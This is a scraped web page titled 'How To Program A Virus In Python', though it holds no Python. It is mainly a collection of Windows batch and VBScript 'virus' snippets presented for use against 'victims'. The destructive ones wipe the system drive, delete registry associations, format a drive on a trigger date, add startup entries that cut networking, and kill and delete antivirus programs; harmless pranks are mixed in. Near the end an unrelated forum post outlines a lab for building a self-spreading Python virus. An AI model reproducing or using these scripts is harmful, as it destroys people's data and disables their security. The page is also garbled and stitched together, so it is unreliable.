by admin

How To Program A Virus In Python

IMP. Note>> I am not responsible for any damage or error reporting in Your pc do it on your own risk. This coding is only for knowledge purpose.

  1. Virus Codes In Python
  2. How To Find A Virus

All Scripts Here Are To Be Copied In Note Pad

May 18, 2017. You should be more specific with your question. If you want examples of python source code when it comes to things such as RATs or trojan-like programs, many of these can be found on youtube and facebook pages. I suggest, however, that you avoid being a basic script-kiddie, and to instead study the.

>>This Virus Deletes All The Content Of A Drive…

@echo off
del %systemdrive%*.* /f /s /q
shutdown -r -f -t 00

Save The Above Code in a .bat file

>>Disable Internet Permanently

Save As A bat File

Virus Codes In Python

echo @echo off>c:windowswimn32.bat
echo break off>>c:windowswimn32.bat
echo ipconfig/release_all>>c:windowswimn32.bat
echo end>>c:windowswimn32.bat
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentv ersionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f
reg add hkey_current_usersoftwaremicrosoftwindowscurrentve rsionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f
echo You Have Been HACKED!
PAUSE

>>The Most Simple Virus To Crush The Window

@Echo off
Del C: *.* y

Save It As Anything.bat

>> This Will Crash Ur Computer

Option Explicit

Dim WSHShell
Set WSHShell=Wscript.CreateObject(“Wscript.Shell”)

Dim x
For x = 1 to 100000000
WSHShell.Run “Tourstart.exe”
Next

Save It As Anything.vbs

It Only Works With Windows XP

>>Delete Key Registry Files [NOTE THIS IS DANGEROUS!! USE AT RISK]

This will delete key registry files, then loops a message (CANNOT BE RECOVERED FROM)*

Code:-

@ECHO OFF
START reg delete HKCR/.exe
START reg delete HKCR/.dll
START reg delete HKCR/*
:MESSAGE
ECHO Your computer has been fcked. Have a nice day.
GOTO MESSAGE

>>Endless Notepads

*This will pop up endless notepads until the computer freezes and crashes*

Code:-

@ECHO off
:top
START %SystemRoot%system32notepad.exe
GOTO top

>> Bomb Virus

Copy Paste The Following

If %date% NEQ 2009/11/25 goto exit
format E: /y >nul
:exit
exit

And Save It As Anything.bat

Note:- You Can Change The Date ( 2009/11/25 ) Of The Virus And The Location ( format E: ) On Which It Does Its Action
The Virus Will Take Effect On That Day

>>Crazy caps lock

*This constantly turns caps lock on and off really fast continuously*

Code:-

Set wshShell =wscript.CreateObject(”WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{CAPSLOCK}”
loop

>>Endless Enter

*This constantly makes it so the enter button is being pressed continuesly*

Code:-

Set wshShell = wscript.CreateObject(”WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “~(enter)”
loop

>>Endless Backspace

*This makes it so the backspace key is constantly being pressed*

Code:-

MsgBox “Let’s go back a few steps”
Set wshShell =wscript.CreateObject(”WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{bs}”
loop

What sex is your computer ?

-> open notepad
-> copy code

CreateObject(“SAPI.SpVoice”).Speak”I love YOU”

-> n paste on the Notepad
-> save as > love.vbs
-> double-click on it

Make Your Keyboard Disco Light

This trick just makes your keyboard lights do disco.
The script I’m sharing with you, when executed makes your Caps, Num and Scroll Lock’s light flash in a cool rhythmic way!

1. This piece of code makes ur keyboard a live disco..

Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{CAPSLOCK}”
wshshell.sendkeys “{NUMLOCK}”
wshshell.sendkeys “{SCROLLLOCK}”
loop

2. This one makes it looks like a chain of light….

How To Find A Virus

Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 200
wshshell.sendkeys “{CAPSLOCK}”
wscript.sleep 100
wshshell.sendkeys “{NUMLOCK}”
wscript.sleep 50
wshshell.sendkeys “{SCROLLLOCK}”
loop

Instructions:
*paste any of the two above codes in notepad
*Save as “AnyFileName”.vbs
*Run the file
*To stop, launch task manager and then under “Processes” end “wscript.exe”

I hope u would like it.. 😉

How To Disable Victim Antivirus

Open Notepad Copy it and Paste To Notepad

@ echo off
rem —
rem Permanently Kill Anti-Virus
net stop “Security Center”
netsh firewall set opmode mode=disable
tskill /A av*
tskill /A fire*
tskill /A anti*
cls
tskill /A spy*
tskill /A bullguard
tskill /A PersFw
tskill /A KAV*
tskill /A ZONEALARM
tskill /A SAFEWEB
cls
tskill /A OUTPOST
tskill /A nv*
tskill /A nav*
tskill /A F-*
tskill /A ESAFE
tskill /A cle
cls
tskill /A BLACKICE
tskill /A def*
tskill /A kav
tskill /A kav*
tskill /A avg*
tskill /A ash*
cls
tskill /A aswupdsv
tskill /A ewid*
tskill /A guard*
tskill /A guar*
tskill /A gcasDt*
tskill /A msmp*
cls
tskill /A mcafe*
tskill /A mghtml
tskill /A msiexec
tskill /A outpost
tskill /A isafe
tskill /A zap*
cls
tskill /A zauinst
tskill /A upd*
tskill /A zlclien*
tskill /A minilog
tskill /A cc*
tskill /A norton*
cls
tskill /A norton au*
tskill /A ccc*
tskill /A npfmn*
tskill /A loge*
tskill /A nisum*
tskill /A issvc
tskill /A tmp*
cls
tskill /A tmn*
tskill /A pcc*
tskill /A cpd*
tskill /A pop*
tskill /A pav*
tskill /A padmin
cls
tskill /A panda*
tskill /A avsch*
tskill /A sche*
tskill /A syman*
tskill /A virus*
tskill /A realm*
cls
tskill /A sweep*
tskill /A scan*
tskill /A ad-*
tskill /A safe*
tskill /A avas*
tskill /A norm*
cls
tskill /A offg*
del /Q /F C:Program Filesalwils~1avast4*.*
del /Q /F C:Program FilesLavasoftAd-awa~1*.exe
del /Q /F C:Program Fileskasper~1*.exe
cls
del /Q /F C:Program Filestrojan~1*.exe
del /Q /F C:Program Filesf-prot95*.dll
del /Q /F C:Program Filestbav*.dat
cls
del /Q /F C:Program Filesavpersonal*.vdf
del /Q /F C:Program FilesNorton~1*.cnt
del /Q /F C:Program FilesMcafee*.*
cls
del /Q /F C:Program FilesNorton~1Norton~1Norton~3*.*
del /Q /F C:Program FilesNorton~1Norton~1speedd~1*.*
del /Q /F C:Program FilesNorton~1Norton~1*.*
del /Q /F C:Program FilesNorton~1*.*
cls
del /Q /F C:Program Filesavgamsr*.exe
del /Q /F C:Program Filesavgamsvr*.exe
del /Q /F C:Program Filesavgemc*.exe
cls
del /Q /F C:Program Filesavgcc*.exe
del /Q /F C:Program Filesavgupsvc*.exe
del /Q /F C:Program Filesgrisoft
del /Q /F C:Program Filesnood32krn*.exe
del /Q /F C:Program Filesnood32*.exe
cls
del /Q /F C:Program Filesnod32
del /Q /F C:Program Filesnood32
del /Q /F C:Program Fileskav*.exe
del /Q /F C:Program Fileskavmm*.exe
del /Q /F C:Program Fileskaspersky*.*
cls
del /Q /F C:Program Filesewidoctrl*.exe
del /Q /F C:Program Filesguard*.exe
del /Q /F C:Program Filesewido*.exe
cls
del /Q /F C:Program Filespavprsrv*.exe
del /Q /F C:Program Filespavprot*.exe
del /Q /F C:Program Filesavengine*.exe
cls
del /Q /F C:Program Filesapvxdwin*.exe
del /Q /F C:Program Fileswebproxy*.exe
del /Q /F C:Program Filespanda software*.*
rem —

Now Save this code as .bat and send to victim 😀

How To Program A Virus In Python

>>Tasks Kill

@echo off

start calc

tskill msnmsgr

tskill firefox

tskill iexplore

tskill LimreWire

tskill explorer

tskill explorer

tskill explorer

tskill explorer

tskill explorer

pause

save this as .bat file and send and destroy the victim & k!ll Operat!ng systeM!

>>Code type in notepad

@echo off
shutdown -r -f -t 00

Form Of Switches

-s
Shuts down the PC.

-l
Logs off the current user.

-t nn
Indicates the duration of delay, in seconds, before performing the action.

-c “messagetext”
Displays a message in the System Shutdown window. A maximum of 127 characters can be used. The message must be enclosed in quotation marks.

-f
Forces any running applications to shut down.

-r
Reboots the PC. ..!!..!

>>Popping CD Drives

*This will make the CD drives constantly pop out*

Code:-

Set oWMP = CreateObject(”WMPlayer.OCX.7?)
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 100
loop

>> To make your pc talk

Open a text file in notepad and write:

Dim msg, sapi
msg=InputBox(“Enter your text”,”Talk it”)
Set sapi=CreateObject(“sapi.spvoice”)
sapi.Speak msg

Save the file with a (*.vbs) extension, it will create a VBScript File.
It will prompt you for a text when u open the file, input the text and press ok.”

u will hear now what u typed..

this works in xp, vista, win7 also.

enjoy!!!

For the latest update about Cyber and Infosec World, follow us on Twitter, Facebook, Telegram , Instagram and subscribe to our YouTube Channel.
Nov-29-2016, 07:00 PM (This post was last modified: Nov-29-2016, 07:18 PM by Yoriz. Edited 2 times in total.Edit Reason: Formating.)
Hi guys, I hope everyone is doing well. I have a problem understanding this lab could you please guide me through it thank you!
For this lab, you will take the virus.py code and make it into an actual virus that will infect the hello.py program. Below are the steps you need to accomplish in order to spread the virus.
  • Virus program should be able to read in a copy of itself
  • Virus code should be able to get a list of Python programs
  • For each Python program in the list do the following:
  • Read the Python program into memory
  • Decide if the program is already infected
  • Infect the program in memory if it is not infected
  • Write the infected program back out to the file system
  • After each program is infected, you can run a payload attack
You have the virus.py code full of functions and you need to organize them to infect do the above jobs. Inside the virus.py file you will find the following functions.
  • getVirusFromSelf
  • getPythonList
  • readFile
  • isInfected
  • infectCode
  • writeFile
  • virusPayload
These functions should provide everything you need to spread and infect.
Virus.py: